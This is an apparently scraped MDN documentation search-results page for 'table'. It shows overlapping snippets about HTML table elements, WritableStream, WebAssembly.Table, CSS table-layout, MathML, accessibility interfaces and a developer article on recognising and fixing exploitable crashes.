...200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablecellelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. html
tablecellelement.abbr a domstring which can be used on <th> elements (not on <td>), specifying an alternative label for the header cell.. this alternate label can be used in other contexts, such as when describing the headers that apply to a data cell. this is used to offer a shorter term for use by screen readers in particular, and is a valuable accessibility tool. usually the value of abbr is an abb...
...And 10 more matches
Table Layout Strategy - Archive of obsolete content
specs the
table layout algorithm is based on two w3c recommendations: html 4.01 (chapter 11) and css2.1 (chapter 17).in css2 a distinction between fixed and auto layout of
tables has been introduced. the auto-layout mechanism is implemented in basic
tablelayoutstrategy.cpp the fixed-layout in fixed
tablelayoutstrategy.cpp. all these files are in the layout/html/
table/src subdirectory. the code the layout strategies are invoked from ns
tableframe::reflow. the overload of the initialize and balancecolumnwidths routines depends on the
table style and is decided at runtime. on the first reflow ns
tableframe::balancecolumnwidths is called. inside this routine the corresponding
table layout strategy is created and initialized (basic
tablelayoutstrategy::initialize). later the column widths ar...
...egies are invoked from ns
tableframe::reflow. the overload of the initialize and balancecolumnwidths routines depends on the
table style and is decided at runtime. on the first reflow ns
tableframe::balancecolumnwidths is called. inside this routine the corresponding
table layout strategy is created and initialized (basic
tablelayoutstrategy::initialize). later the column widths are balanced by basic
tablelayoutstrategy::balancecolumnwidths or the fixed layout counter part. in the following the basic
table layout strategy is discussed. the functionality is distributed over a large number of subroutines as shown in the chart below. ...
...orresponding
table layout strategy is created and initialized (basic
tablelayoutstrategy::initialize). later the column widths are balanced by basic
tablelayoutstrategy::balancecolumnwidths or the fixed layout counter part. in the following the basic
table layout strategy is discussed. the functionality is distributed over a large number of subroutines as shown in the chart below. the words the
table layout is width oriented and knows the following widths: minimum content width - min the minimum width that is required to layout the content, all linebreak possibilities will be used percent width - pct the cell width specified in percent, fixed width - fix the cell width specified as px, mm etc., proportional width - prop the cell width specified via 1*, 2* etc. and the desired width ...
...And 9 more matches
WritableStreamDefaultWriter - Web APIs
the wri
tablestreamdefaultwriter interface of the the streams api is the object returned by wri
tablestream.getwriter() and once created locks the writer to the wri
tablestream ensuring that no other streams can write to the underlying sink. constructor wri
tablestreamdefaultwriter() creates a new wri
tablestreamdefaultwriter object instance. properties wri
tablestreamdefaultwriter.closedread only allows you to write code that responds to an end to the streaming process. returns a promise that fulfills if the stream becomes closed or the writer's lock is released, or rejects if the stream errors. wri
tablestreamdefaultwriter.desiredsizeread only returns the desired size required to fill the stream's internal queue. ...
... properties wri
tablestreamdefaultwriter.closedread only allows you to write code that responds to an end to the streaming process. returns a promise that fulfills if the stream becomes closed or the writer's lock is released, or rejects if the stream errors. wri
tablestreamdefaultwriter.desiredsizeread only returns the desired size required to fill the stream's internal queue. wri
tablestreamdefaultwriter.readyread only returns a promise that resolves when the desired size of the stream's internal queue transitions from non-positive to positive, signaling that it is no longer applying backpressure. ...
...ts if the stream errors. wri
tablestreamdefaultwriter.desiredsizeread only returns the desired size required to fill the stream's internal queue. wri
tablestreamdefaultwriter.readyread only returns a promise that resolves when the desired size of the stream's internal queue transitions from non-positive to positive, signaling that it is no longer applying backpressure. methods wri
tablestreamdefaultwriter.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. wri
tablestreamdefaultwriter.close() closes the associated wri
table stream. wri
tablestreamdefaultwriter.releaselock() releases the writer's lock on the corresponding stream. after th...
...And 9 more matches
HTMLTableRowElement - Web APIs
the html
tablerowelement interface provides special properties and methods (beyond the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of rows in an html
table. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/html
tablerowelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablerowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inhe...
..."190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablerowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. html
tablerowelement.align is a domstring containing an enumerated value reflecting the align attribute. ...
...And 8 more matches
WritableStream.getWriter() - Web APIs
it then calls a function called sendmessage(), passing the newly created stream and a string. ...
...it then calls a function called sendmessage(), passing the newly created stream and a string. ...
...it then calls a function called sendmessage(), passing the newly created stream and a string. ...
...And 8 more matches
IAccessibleTableCell
other-licenses/ia2/accessible
tablecell.idlnot scrip
table this interface gives access to the cells of a two-dimensional
table. 1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview [propget] hresult columnextent([out] long ncolumnsspanned ); [propget] hresult columnheadercells([out, size_is(, ncolumnheadercells,)] iunknown cellaccessibles, [out] long ncolumnheadercells ); [propget] hresult columnindex([out] long columnindex ); [propget] hresult isselected([out] boolean isselected ); [propget] hresult rowcolumnextents([out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowextent([out] l...
...the result is greater than 1 if the specified cell spans multiple columns. [propget] hresult columnextent( [out] long ncolumnsspanned ); parameters ncolumnsspanned returns the 1 based column extent of the specified cell. return value s_ok. columnheadercells() returns the column h...
...the result is greater than 1 if the specified cell spans multiple columns. [propget] hresult columnextent( [out] long ncolumnsspanned ); parameters ncolumnsspanned returns the 1 based column extent of the specified cell. return value s_ok. columnheadercells() returns the column headers as an array of...
...And 7 more matches
WritableStreamDefaultWriter.write() - Web APIs
return value a promise, which fulfills with the undefined upon a successful write, or rejects if the write fails or stream becomes errored before the writing process is initiated. ...
...nterface writes a passed chunk of data to a wri
tablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation. note that what "success" means is up to the underlying sink; it might indicate simply that the chunk has been accepted, and not necessarily that it is safely saved to its ultimate destination. syntax var promise = wri
tablestreamdefaultwriter.write(chunk); parameters chunk a block of binary data to pass to the wri
tablestream. return value a promise, which fulfills with the undefined upon a successful write, or rejects if the write fails or stream becomes errored before the writing process is initiated. exceptions typeerror the target stream is not a wri
table stream, or it does not have an owner. examp...
...a foreach() call is used to write each chunk of the string to the stream. ...
...And 7 more matches
WebAssembly.Table - JavaScript
the webassembly.
table() object is a javascript wrapper object — an array-like structure representing a webassembly
table, which stores function references. a
table created by javascript or in webassembly code will be accessible and mu
table from both javascript and webassembly. note:
tables can currently only store function references, but this will likely be expanded in the future. constructor webassembly.
table() creates a new
table object. instance properties
table.prototype.length returns the length of the
table, i.e. the number of elements. instance methods
table.prototype.get() accessor function — gets the element stored at a given index.
table.prototype.grow() increases the size of the
table instance by a specified number of elements. ...
...the future. constructor webassembly.
table() creates a new
table object. instance properties
table.prototype.length returns the length of the
table, i.e. the number of elements. instance methods
table.prototype.get() accessor function — gets the element stored at a given index.
table.prototype.grow() increases the size of the
table instance by a specified number of elements.
table.prototype.set() sets an element stored at a given index to a given value. examples creating a new webassembly
table instance the following example (see
table2.html source code and live version) creates a new webassembly
table instance with an initial size of 2 elements. ...
....prototype.grow() increases the size of the
table instance by a specified number of elements.
table.prototype.set() sets an element stored at a given index to a given value. examples creating a new webassembly
table instance the following example (see
table2.html source code and live version) creates a new webassembly
table instance with an initial size of 2 elements. we then print out the
table length and contents of the two indexes (retrieved via
table.prototype.get() to show that the length is two and both elements are null. ...
...And 7 more matches
HTMLTableSectionElement - Web APIs
the html
tablesectionelement interface provides special properties and methods (beyond the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of sections, that is headers, footers and bodies, in an html
table. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill=...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/html
tablesectionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablesectionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properti...
..." height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablesectionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. html
tablesectionelement.align is a domstring containing an enumerated value reflecting the align attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". html
tablesectionelement.rows read only returns a live htmlcollection containing the rows in the section. the htmlcollection is live and is automat...
...And 6 more matches
<caption>: The Table Caption element - HTML: Hypertext Markup Language
the html <caption> element specifies the caption (or title) of a
table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content. tag omission the end tag can be omitted if the element is not immediately followed by ascii whitespace or a comment. permitted parents a <
table> element, as its first descendant. implicit aria role no corresponding role permitted aria roles no role permitted dom interface html
tablecaptionelement attributes this element includes the global attributes. d...
... usage note: do not use this attribute, as it has been deprecated. ...
...butes. deprecated attributes the following attributes are deprecated and should not be used. they are documented below for reference when updating existing code and for historical interest only. align this enumerated attribute indicates how the caption must be aligned with respect to the
table. it may have one of the following values: left the caption is displayed to the left of the
table. top the caption is displayed above the
table. right the caption is displayed to the right of the
table. bottom the caption is displayed below the
table. usage note: do not use this attribute, as it has been deprecated. the <caption> element should be styled using the css properties caption-side and text-align. usage notes the <caption> element should be the first child of it...
...And 6 more matches
WebAssembly.Table() constructor - JavaScript
the webassembly.
table() constructor creates a new
table object of the given size and element type. syntax new webassembly.
table(
tabledescriptor); parameters
tabledescriptor an object that can contain the following members: element a string representing the type of value to be stored in the
table. at the moment this can only have a value of "anyfunc" (functions). initial the initial number of elements of the webassembly
table. maximum optional the maximum number of elements the webassembly
table is allowed to grow to. exceptions if
tabledescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. ...
...value of "anyfunc" (functions). initial the initial number of elements of the webassembly
table. maximum optional the maximum number of elements the webassembly
table is allowed to grow to. exceptions if
tabledescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. examples creating a new webassembly
table instance the following example (see
table2.html source code and live version) creates a new webassembly
table instance with an initial size of 2 elements. ...
...d to grow to. exceptions if
tabledescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. examples creating a new webassembly
table instance the following example (see
table2.html source code and live version) creates a new webassembly
table instance with an initial size of 2 elements. we then print out the
table length and contents of the two indexes (retrieved via
table.prototype.get() to show that the length is two and both elements are null. ...
...And 6 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
summary: when in quirks mode, gecko-based browsers will appear to ignore inheritance of font styles into
tables from parent elements. find out why this happens and how to fix it in documents that have to remain in quirks mode. in version 4 browsers such as netscape navigator 4.x and internet explorer 4.x,
tables generally "broke" the inheritance of font styling. if the author had set a font size on the body element, for example, the font size of text within a
table would match the user's default, not the body style. this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases. ...
...t styling. if the author had set a font size on the body element, for example, the font size of text within a
table would match the user's default, not the body style. this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases. fortunately, the behavior can be overcome in all cases with a single css2 rule.
tables and inheritance in css terms,
tables are like any other element when it comes to inheritance. if a css property can be inherited, then
table elements and their components (tr, td, etc.) should inherit just as any other element would. for example, if an author writes: <style type="text/css"> body {font-size: 11px;} </style> ...then the text inside
table cells should also be 11 pixels in size. ...
...ther element when it comes to inheritance. if a css property can be inherited, then
table elements and their components (tr, td, etc.) should inherit just as any other element would. for example, if an author writes: <style type="text/css"> body {font-size: 11px;} </style> ...then the text inside
table cells should also be 11 pixels in size. browsers from the version-four era, however, treated
tables differently. in these browsers, a
table's text would be the same size as the user's default settings, regardless of the css assigned to ancestor elements such as body. ...
...And 5 more matches
Console.table() - Web APIs
displays tabular data as a
table. this function takes one mandatory argument data, which must be an array or an object, and one additional optional parameter columns. it logs data as a
table. each element in the array (or enumerable property if data is an object) will be a row in the
table. the first column in the
table will be labeled (index). if data is an array, then its values will be the array indices. if data is an object, then its values will be the property names. note that (in firefox) console.
table is limited to displaying 1000 rows (first row is the labeled index). note: this feature is available in web workers. collections of primitive types the data argument may be an array or an object. ...
... if data is an array, then its values will be the array indices. if data is an object, then its values will be the property names. note that (in firefox) console.
table is limited to displaying 1000 rows (first row is the labeled index). note: this feature is available in web workers. collections of primitive types the data argument may be an array or an object. ...
...). note: this feature is available in web workers. collections of primitive types the data argument may be an array or an object. ...
...And 5 more matches
HTMLElement.isContentEditable - Web APIs
the htmlelement.iscontentedi
table read-only property returns a boolean that is true if the contents of the element are edi
table; otherwise it returns false. ...
... the htmlelement.iscontentedi
table read-only property returns a boolean that is true if the contents of the element are edi
table; otherwise it returns false. ...
... the htmlelement.iscontentedi
table read-only property returns a boolean that is true if the contents of the element are edi
table; otherwise it returns false. ...
...And 5 more matches
WritableStreamDefaultWriter.close() - Web APIs
the close() method of the wri
tablestreamdefaultwriter interface closes the associated wri
table stream. the underlying sink will finish processing any previously-written chunks, before invoking the close behavior. during this time any further attempts to write will fail (without erroring the stream). syntax var promise = wri
tablestreamdefaultwriter.close(); parameters none. return value a promise, which fulfills with the undefined if all remaining chunks were successfully written before the close, or rejects with an error if a problem was encountered during the process. exceptions typeerror the stream you are trying to close is not a wri
tablestream. examples the following example shows the creation of a wri
tablestream with a custom sink and an api-supplied queuing strategy. i...
...ptions typeerror the stream you are trying to close is not a wri
tablestream. examples the following example shows the creation of a wri
tablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of wri
tablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...ing. inside this function it calls the stream's getwriter() method, which returns an instance of wri
tablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...And 5 more matches
table-layout - CSS: Cascading Style Sheets
the
table-layout css property sets the algorithm used to lay out <
table> cells, rows, and columns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */
table-layout: auto;
table-layout: fixed; /* global values */
table-layout: inherit;
table-layout: initial;
table-layout: unset; values auto by default, most browsers use an automatic
table layout algorithm. the widths of the
table and its cells are adjusted to fit the content. fixed
table and column widths are set by the widths of
table and col elements or by the width of the first row of cells. cells in subsequent rows do not affect c...
...
table-layout: unset; values auto by default, most browsers use an automatic
table layout algorithm. the widths of the
table and its cells are adjusted to fit the content. fixed
table and column widths are set by the widths of
table and col elements or by the width of the first row of cells. cells in subsequent rows do not affect column widths. under the "fixed" layout method, the entire
table can be rendered once the first
table row has been downloaded and analyzed. this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths provided. cells use the overflow property to determine whether to clip any overflowing content, but only if the
table has a known width; otherwise, they won't overflow the cells. formal defi...
...le row has been downloaded and analyzed. this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths provided. cells use the overflow property to determine whether to clip any overflowing content, but only if the
table has a known width; otherwise, they won't overflow the cells. ...
...And 5 more matches
WebAssembly.Table.prototype.set() - JavaScript
the set() prototype method of the webassembly.
table object mutates a reference stored at a given index to a different value. syntax
table.set(index, value); parameters index the index of the function reference you want to mutate. value the value you want to mutate the reference to. this must be an exported webassembly function, a javascript wrapper for an underlying wasm function. return value void. exceptions if index is greater than or equal to
table.prototype.length, a rangeerror is thrown. if value is not an exported webassembly function or null, a typeerror is thrown. ...
...e you want to mutate. value the value you want to mutate the reference to. this must be an exported webassembly function, a javascript wrapper for an underlying wasm function. return value void. exceptions if index is greater than or equal to
table.prototype.length, a rangeerror is thrown. if value is not an exported webassembly function or null, a typeerror is thrown. examples using
table.set the following example (see
table2.html source code and live version) creates a new webassembly
table instance with an initial size of 2 references. we then print out the
table length and contents of the two indexes (retrieved via
table.prototype.get()) to show that the length is two, and the indexes currently contain no function references (they currently return null). var tbl = new webasse...
... the following example (see
table2.html source code and live version) creates a new webassembly
table instance with an initial size of 2 references. we then print out the
table length and contents of the two indexes (retrieved via
table.prototype.get()) to show that the length is two, and the indexes currently contain no function references (they currently return null). ...
...And 5 more matches
<mtable> - MathML
the mathml <m
table> element allows you to create
tables or matrices. inside a <m
table> only <mtr> and <mtd> elements may appear. these elements are similar to <
table> , <tr> and <td> elements of html. note: the <m
table> element resets the displaystyle attribute to false. if you want to use this element as an inline-block, you might want to set <m
table displaystyle="true">...</m
table>. attributes align specifies the vertical alignment of the
table with respect to its environment. possible values are: axis (default): the vertical center of the
table aligns on the environment's axis (typically the minus sign). baseline: the vertical center of the
table aligns on the environment's baseline. bottom: the bottom of the
table aligns on the environments baseline. center: see baseline...
...ertical alignment of the
table with respect to its environment. possible values are: axis (default): the vertical center of the
table aligns on the environment's axis (typically the minus sign). baseline: the vertical center of the
table aligns on the environment's baseline. bottom: the bottom of the
table aligns on the environments baseline. center: see baseline. top: the top of the
table aligns on the environments baseline. in addition, values of the align attribute can end with a rownumber (e.g. align="center 3"). this allows you to align the specified row of the
table rather than the whole
table. a negative integer value counts rows from the bottom of the
table. starting with gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the interpretation of negative values has ...
...ed and apply to the corresponding columns (e.g. columnalign="left right center"). possible values are: left, center (default) and right. columnlines specifies column borders. multiple values separated by space are allowed and apply to the corresponding columns (e.g. columnlines="none none solid"). possible values are: none (default), solid and dashed. columnspacing specifies the space between
table columns. unimplemented columnwidth specifies the width of
table columns. displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. unimplemented equalcolumns a boolean value ind...
...And 5 more matches
nsIAccessibleTable
accessible/public/nsiaccessible
table.idlscrip
table please add a summary to this article. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getcellat(in long rowindex, in long columnindex); note: renamed from cellrefat in gecko 1.9.2 long getcellindexat(in long rowindex, in long columnindex); note: renamed from getindexat in gecko 1.9.2 astring getcolumndescription(in long columnindex); long getcolumnextentat(in long row, in long column); long getcolumnindexat(in long cellindex); note: renamed from getcolumnatindex in gecko 1.9.2 void getrowandcolumnindicesat(in long cellindex, out long rowindex, out long columnindex); astring getrowdescr...
...lean isprobablyforlayout(); boolean isrowselected(in long rowindex); void selectcolumn(in long columnindex); void selectrow(in long rowindex); void unselectcolumn(in long columnindex); void unselectrow(in long rowindex); attributes attribute type description caption nsiaccessible the caption accessible for the
table. for example, html:caption element of html:
table element. read only. columncount long the number of columns in the
table. read only. note: renamed from columns in gecko 1.9.2 columnheader nsiaccessible
table read only. obsolete since gecko 1.9.2 rowcount long the number of rows in the
table. read only. note: renamed from rows in gecko 1.9.2 row...
...obsolete since gecko 1.9.2 selectedcellcount unsigned long the total number of selected cells. read only. note: renamed from selectedcellscount in gecko 1.9.2 selectedcells nsiarray an array of selected cells. read only. selectedcolumncount unsigned long the total number of selected columns. read only. ...
...And 4 more matches
nsIScriptableIO
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! ...
...with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. nsiscrip
tableio provides a convenient api for creating files and streams, as well as for reading and writing data to them. for your convenience, this api is published through a global io object. for more details about how to use this object, see the file and stream...
...nd save dialogs, reading textual data, writing textual data, list of file-related error codes. nsiscrip
tableio provides a convenient api for creating files and streams, as well as for reading and writing data to them. for your convenience, this api is published through a global io object. for more details about how to use this object, see the file and stream guide. network/base/public/nsiscrip
tableio.idlscrip
table please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports a scrip
table io object can be used in an extension or chrome code by referring to the global io object. ...
...And 4 more matches
HTMLTableColElement - Web APIs
the html
tablecolelement interface provides special properties (beyond the htmlelement interface it also has available to it inheritance) for manipulating single or grouped
table column elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</te...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/html
tablecolelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablecolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inhe...
..."190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablecolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. html
tablecolelement.align is a domstring that indicates the horizontal alignment of the cell data in the column. ...
...And 4 more matches
Making content editable - Developer guides
in html, any element can be edi
table. by using some javascript event handlers, you can transform your web page into a full and fast rich text editor. this article provides some information about this functionality. note: in firefox 63 beta/dev edition, some of the rich-text editing features have been disabled by default, for better cross-browser compatibility. these are object resizing on <img>, <
table>, and absolutely-positioned elements; inline
table editing to add or remove rows and columns; and the grabber that allows moving of absolutely-positioned elements. see bug 1449564 and firefox-specific html editing ui has been deprecated for additional details. how does it work? all you have to do is set the contentedi
table attribute on nearly any html element to make it edi
table. he...
...s; and the grabber that allows moving of absolutely-positioned elements. see bug 1449564 and firefox-specific html editing ui has been deprecated for additional details. how does it work? all you have to do is set the contentedi
table attribute on nearly any html element to make it edi
table. here's a simple example which creates a <div> element whose contents the user can edit. <div contentedi
table="true"> this text can be edited by the user. </div> here's the above html in action: executing commands when an html element has contentedi
table set to true, the document.execcommand() method is made available. this lets you run commands to manipulate the contents of the edi
table region. most commands affect the document's selection by, for example, applying a style to the text (bold, ital...
... element has contentedi
table set to true, the document.execcommand() method is made available. this lets you run commands to manipulate the contents of the edi
table region. most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). when using contentedi
table, calling execcommand() will affect the currently active edi
table element. differences in markup generation use of contentedi
table across different browsers has been painful for a long time because of the differences in generated markup between browsers. ...
...And 4 more matches
HTML Tables - Learn web development
a very common task in html is structuring tabular data, and it has a number of elements and attributes for just this purpose. coupled with a little css for styling, html makes it easy to display
tables of information on the web such as your school lesson plan, the time
table at your local swimming pool, or statistics about your favorite dinosaurs or football team. this module takes you through all you need to know about structuring tabular data using html. ...
... you need to know about structuring tabular data using html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should already have covered the basics of html — see introduction to html. ...
...isites before starting this module, you should already have covered the basics of html — see introduction to html. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles: html
table basics this article gets you started with html
tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. ...
...And 2 more matches
Exploitable crashes
this article will help you determine if a crash is exploi
table, find crashes which are exploi
table, and to fix exploi
table crashes. what is an exploi
table crash? a crash report from your debugger, your os, or mozilla crash-stats can tell you a lot about whether or not a crash is potentially exploi
table. you want to look primarily for three things, in order: look at the top frame of the stack trace. if you see a hex address such as 0x292c2830 rather than a function name such as nslistboxbodyframe::getrowcount at the top of the stack, a bug has caused the program to transfer control to a "random" part of memory that isn't part of the program. these crashes are almost always exploi
table to run arbitrary code. look at the crash reason, which will usually be something like "kern_protectio...
...y be something like "kern_protection_failure (0x0002) at 0x00000000". this is typically located right above the stack trace. the last number, in this case 0x00000000, is the memory address firefox was prevented from accessing. if the address is always zero (or close to zero, such as 0x0000001c), it's probably a null dereference bug. these bugs cause the browser to crash, but they do so in a predic
table way, so they are not exploi
table. most crashes fall into this category. check the length of the stack trace. if it's over 300 functions long, it's likely to be a too-much-recursion crash. like null dereferences, these crashes are not exploi
table. any other crash where firefox tries to use memory it does not have access to indicates some kind of memory safety bug. these crashes can often be expl...
...kely to be a too-much-recursion crash. like null dereferences, these crashes are not exploi
table. any other crash where firefox tries to use memory it does not have access to indicates some kind of memory safety bug. these crashes can often be exploited to run arbitrary code, but you can't be as certain as in the case where you see a bogus address at the top of the stack in step 1. finding exploi
table crashes exploi
table crashes are most often discovered through normal testing and usage, when developers recognize a crash stack in gdb or submitted to a bug as exploi
table. additionally, mozilla developers make heavy use of two tools in particular to find exploi
table situations before they show up as exploi
table crash reports. the first tool is addresssanitizer (asan). there is an mdn article doc...
...And 2 more matches
ROLE_TABLE
« gecko roles page represents a
table that contains rows and columns of cells, and optionally, row headers and column headers. also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. ...
... « gecko roles page represents a
table that contains rows and columns of cells, and optionally, row headers and column headers. also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. ...
... « gecko roles page represents a
table that contains rows and columns of cells, and optionally, row headers and column headers. also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. ...
...And 2 more matches
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascript string. if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api. ...
...y api represents binary data using the lower haft of each 16-bit code unit in a javascript string. if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api. ...
...tion, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api. intl/uconv/idl/nsiscrip
tableuconv.idlscrip
table this interface is a unicode encoder for use by scripts. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/scrip
tableunicodeconverter. ...
...And 2 more matches
HTMLTableCaptionElement - Web APIs
the html
